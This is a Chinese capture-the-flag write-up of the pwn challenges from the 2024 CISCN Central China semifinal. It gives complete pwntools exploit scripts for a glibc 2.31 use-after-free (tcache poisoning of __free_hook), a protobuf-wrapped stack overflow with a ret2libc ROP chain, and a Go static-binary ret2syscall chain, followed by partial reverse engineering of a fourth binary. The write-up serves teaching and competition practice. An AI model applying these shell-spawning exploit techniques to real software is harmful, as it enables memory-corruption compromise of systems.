2024全国大学生信息安全竞赛（ciscn）半决赛（华中赛区）Pwn题解

简介

前段时间赛前准备把ciscn东北赛区、华南赛区、西南赛区半决赛的题都复现完了。

可惜遇到了华东北赛区的离谱平台和离谱pwn出题人：

假的awdp（直接传🐎到靶机，然后连上去cat /flag.txt即可）
题型分布不合理，8个web 2个pwn（还是没有libc的栈上签到题）

今天把华中赛区的题目也都复现了一下，题目分布为1个简单堆、1个高版本堆、1个go和1个protobuf。

对比之下，华东北的题最烂。

Pwn1-note

签到堆题，2.31版本libc（tcache利用最简单的版本）。

题目没去除符号表，经典菜单题，逆向也不复杂。

逆向分析

拖入IDA分析：

经典的增删改查菜单，逐个分析。

add

可以申请最多1024个任意大小的chunk（小于0x1000）。

edit

正常编辑功能，不存在溢出。

delete

关键漏洞点，存在UAF漏洞。

show

正常打印输出chunk中的内容。

利用思路

题目给的glibc2.31相对来说还是比较好利用的，没有fd指针也加密，malloc也不检查是否0x10对齐。

存在UAF漏洞，没有任何限制。打法有很多种，最简单的就是tcache poisoning打__free_hook -> system。

通过tcache泄露堆地址，通过unsorted bin泄露libc，然后修改tcache的fd指针指向free_hook。

修改free_hook为system，然后释放一个带有/bin/sh的chunk即可完成利用。

exp

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'def add_chunk(size, content):p.sendlineafter(b"5. exit\n", b"1")p.sendlineafter(b"content: \n", str(size).encode())p.sendlineafter(b"content: \n", content)def edit_chunk(index, content):p.sendlineafter(b"5. exit\n", b"2")p.sendlineafter(b"index: \n", str(index).encode())p.sendlineafter(b"content: \n", str(len(content)).encode())p.sendafter(b"Content: \n", content)def delete_chunk(index):p.sendlineafter(b"5. exit\n", b"3")p.sendlineafter(b"index: \n", str(index).encode())def show_chunk(index):p.sendlineafter(b"5. exit\n", b"4")p.sendlineafter(b"index:", str(index).encode())# leak heap and libc
for i in range(9):add_chunk(0x98, b'a' * 0x98)  # 0-8for i in range(7):delete_chunk(6 - i)
delete_chunk(7)show_chunk(0)
heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
success("heap_base = " + hex(heap_base))show_chunk(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
success("libc_base = " + hex(libc_base))# tcache poisoning
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
edit_chunk(1, b'/bin/sh\x00')edit_chunk(0, p64(free_hook))
add_chunk(0x98, b'b' * 0x98)  # 9
add_chunk(0x98, p64(system))  # 10 __free_hook# gdb.attach(p)
# pause()delete_chunk(1)p.interactive()

Pwn2-protoverflow

题目很简单，ret2libc。

难点在于交互时套了一层C++ Protobuf的壳。

Protobuf-C逆向可以参考《深入二进制安全：全面解析Protobuf》文章，近期会再更新一期关于C++中Protobuf结构体还原的方法。

逆向分析

发现程序运行时会打印puts函数地址，泄露libc。然后解析Protobuf结构体并调用真正的主函数。

结构体还原

使用pbtk工具：

pbtk-1.0.5/extractors/from_binary.py ./pwn

得到结构体：

syntax = "proto2";message protoMessage {optional string name = 1;optional string phoneNumber = 2;required bytes buffer = 3;required uint32 size = 4;
}

利用思路

name和phoneNumber可选，没什么用。

buffer为字符串，size可自定义，调用memcpy时会存在栈溢出漏洞。

已知libc，可以考虑直接ret2libc。

（这里需要注意的是，经过编译后的Protobuf会在头部增加一个Message结构体，下标3开始才是我们的字段）

（而if里判断了下标为2的参数，这里猜测是判断结构体中name和phoneNumber字段是否为空）

exp

from pwn import *
import message_pb2elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'# leak libc
p.recvuntil(b'Gift: ')
gift = int(p.recv(14), 16)
libc_base = gift - libc.sym['puts']
libc.address = libc_base
success("libc_base = " + hex(libc_base))# rop
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
ret = next(libc.search(asm('ret'), executable=True))
pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
pop_rsi = next(libc.search(asm('pop rsi; ret'), executable=True))
pop_rdx_r12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True))rop = b'a' * 0x210 + b'deadbeef'
rop += p64(pop_rdi) + p64(binsh)
rop += p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) * 2
rop += p64(system)# gdb.attach(p, 'b *$rebase(0x3345)\nc')
# pause()message = message_pb2.protoMessage()
message.buffer = rop
message.size = len(rop)p.send(message.SerializeToString())p.interactive()

Pwn3-go_note

Go语言静态编译的题目，IDA反编译不是很好，但是代码不复杂且漏洞点很好发现。

关键问题是没有libc，需要找一些ROP来调用静态编译的函数，方法可能不是最优解，但是很容易想到。

逆向分析

Go语言逆向，相比于C语言的区别如下：

main函数名为main_main（如果去除符号表，考虑通过bindiff还原）
参数依次通过寄存器传递：AX、BX、CX、DI、SI、R8、R9、R10、R11

对于Go语言逆向，IDA支持不是很好，我们需要结合汇编代码和动态调试来分析。

找到main_main函数：

好在不是很复杂，根据菜单发现有add、delete、edit和show功能，依次分析。

add

存在一个Notes结构体，存储len和array结构体数组。add函数会将id、content_len和content加入到array结构体数组中。

delete

直接看变量有点复杂，结合gdb调试发现不存在UAF漏洞。

edit

直接看变量有点复杂，结合gdb动态调试发现这里没有判断输入长度，存在溢出漏洞并能覆盖到返回地址。

show

看上去没有什么漏洞，直接打印内容。

利用思路

结合动态调试，发现edit存在栈溢出漏洞，可以劫持程序的控制流程。

由于题目没有给出libc，也没办法泄露相关地址，我直接采用了ret2syscall。

题目是静态编译，搜索下syscall发现有如下函数：

我们的目的是执行execve(“/bin/sh”, 0, 0)。rax寄存器为系统调用号，rbx、rcx、rdi是系统调用的三个参数。

然后通过ROPgadget找到gadget：

rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408    				# pop rax, rbp; ret
pop_rbx = 0x0000000000404541        				# pop rbx; ret
mov_rcx_0 = 0x000000000040318f      				# mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee  	# xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160

找不到pop rcx和pop rdi指令，由于rcx和rdi都应该置0，所以可以找mov或者xor指令替代。

经过一番查找，发现一条mov rcx, 0指令可以把rcx寄存器置0。

并且，有一条xor edi, edi; add rsp, 0x10; pop rbp;指令，只要能够让edi置0即可，后面的指令相当于弹出栈上3个参数，填充即可。

现在距离拿下shell只差一步，题目没有/bin/sh字符串，需要我们想办法写入一个已知地址。

经过调试发现，add函数将内容写在了堆上，我们可以考虑利用一些gadget将字符串写到bss段上。

比如，可以通过下面的gadget：

# use to write /bin/sh
# ...                               # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa        # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1   # mov [eax], edx

# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)

然后正常的覆盖返回地址到rop gadget执行ret2syscall即可。

exp

from pwn import *elf = ELF("./note")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'# rop
rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408    # pop rax, rbp; ret
pop_rbx = 0x0000000000404541        # pop rbx; ret
mov_rcx_0 = 0x000000000040318f      # mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee  # xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160# use to write /bin/sh
# ...                               # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa        # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1   # mov [eax], edxpayload = b'a' * 0x38 + b'deadbeef'
# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)
# syscall 0x3b
payload += p64(pop_rax_rbp) + p64(0x3b) + p64(0)
payload += p64(pop_rbx) + p64(rw_mem)
payload += p64(mov_rcx_0)
payload += p64(xor_edi_add_rsp_10_pop_rbp) + p64(0) * 3
payload += p64(syscall)p.sendline(b'1')
p.sendline(b'a')
p.sendline(b'3')
p.sendline(b'1')# gdb.attach(p, 'b *0x47F41E\nc')
# pause()p.sendline(payload)p.interactive()

Pwn4-starlink

逆向起来比较费劲，涉及到了SSE指令，IDA反编译的有问题，并且结构体设置的比较复杂。

除了final和destroy函数都逆了下，但是没有找到漏洞点，有兴趣的师傅可以做一下。（听武汉大学的secsome师傅和V3rdant师傅说是start结构体的0x00偏移量位置的计数器没有+1，这里确实是一个漏洞点，但是不知道后续怎么利用。）

（secsome师傅说IDA把一堆32bytes的识别成xmm导致反编译的有问题）

这里给出一部分逆向分析过程。

逆向分析

查看main函数，发现是经典菜单题，选项多了点，逐个分析。

add_star

最多申请0x100个chunk。输入idx、size和content，申请0x60大小的chunk_a后申请指定size的chunk_b。

与常规题目不同的是：

if ( ptr )
{__printf_chk(1LL, "Data: ");read(0, ptr, size);*(_QWORD *)&vars0 = 1LL;vars40 = &vars30.m128i_i64[1];*((_QWORD *)&vars0 + 1) = idx;vars10 = 0uLL;*(_QWORD *)&buf = 0LL;*((_QWORD *)&buf + 1) = size;vars48 = 0LL;vars30 = _mm_unpacklo_epi64((__m128i)(unsigned __int64)ptr, (__m128i)(unsigned __int64)&vars30.m128i_u64[1]);*((_QWORD *)heap_array + idx) = &vars0;return puts("Star created!");
}